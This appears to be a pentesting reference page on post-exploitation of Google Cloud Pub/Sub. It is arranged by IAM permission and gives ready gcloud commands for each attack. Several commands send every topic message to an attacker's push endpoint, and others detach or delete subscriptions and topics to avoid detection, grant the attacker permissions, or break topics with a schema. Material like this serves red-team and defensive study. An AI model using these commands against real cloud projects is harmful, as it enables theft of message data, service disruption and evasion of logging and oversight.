GCP - Pub/Sub Post Exploitation

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Pub/Sub

For more information about Pub/Sub check the following page:

GCP - Pub/Sub Enum

pubsub.topics.publish

Publish a message in a topic, useful to send unexpected data and trigger unexpected functionalities or exploit vulnerabilities:

# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"

pubsub.topics.detachSubscription

Useful to prevent a subscription from receiving messages, maybe to avoid detection.

gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>

pubsub.topics.delete

Useful to prevent a subscription from receiving messages, maybe to avoid detection.
It's possible to delete a topic even with subscriptions attached to it.

gcloud pubsub topics delete <TOPIC NAME>

pubsub.topics.update

Use this permission to update some setting of the topic to disrupt it, like --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key...

pubsub.topics.setIamPolicy

Give yourself permission to perform any of the previous attacks.

pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)

Get all the messages in a web server:

# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>

Create a subscription and use it to pull messages:

# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>

# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted

pubsub.subscriptions.delete

Delete a subscription could be useful to disrupt a log processing system or something similar:

gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>

pubsub.subscriptions.update

Use this permission to update some setting so messages are stored in a place you can access (URL, Big Query table, Bucket) or just to disrupt it.

gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>

pubsub.subscriptions.setIamPolicy

Give yourself the permissions needed to perform any of the previously commented attacks.

pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)

Attack a schema to a topic so the messages doesn't fulfil it and therefore the topic is disrupted.
If there aren't any schemas you might need to create one.

{
  "namespace": "com.example",
  "type": "record",
  "name": "Person",
  "fields": [
    {
      "name": "name",
      "type": "string"
    },
    {
      "name": "age",
      "type": "int"
    }
  ]
}

# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
    --schema=projects/<project-name>/schemas/<topic-id> \
    --message-encoding=json

pubsub.schemas.delete

This might look like deleting a schema you will be able to send messages that doesn't fulfil with the schema. However, as the schema will be deleted no message will actually enter inside the topic. So this is USELESS:

gcloud pubsub schemas delete <SCHEMA NAME>

pubsub.schemas.setIamPolicy

Give yourself the permissions needed to perform any of the previously commented attacks.

pubsub.snapshots.create, pubsub.snapshots.seek

This is will create a snapshot of all the unACKed messages and put them back to the subscription. Not very useful for an attacker but here it's:

gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
    --subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
    --snapshot=YOUR_SNAPSHOT_NAME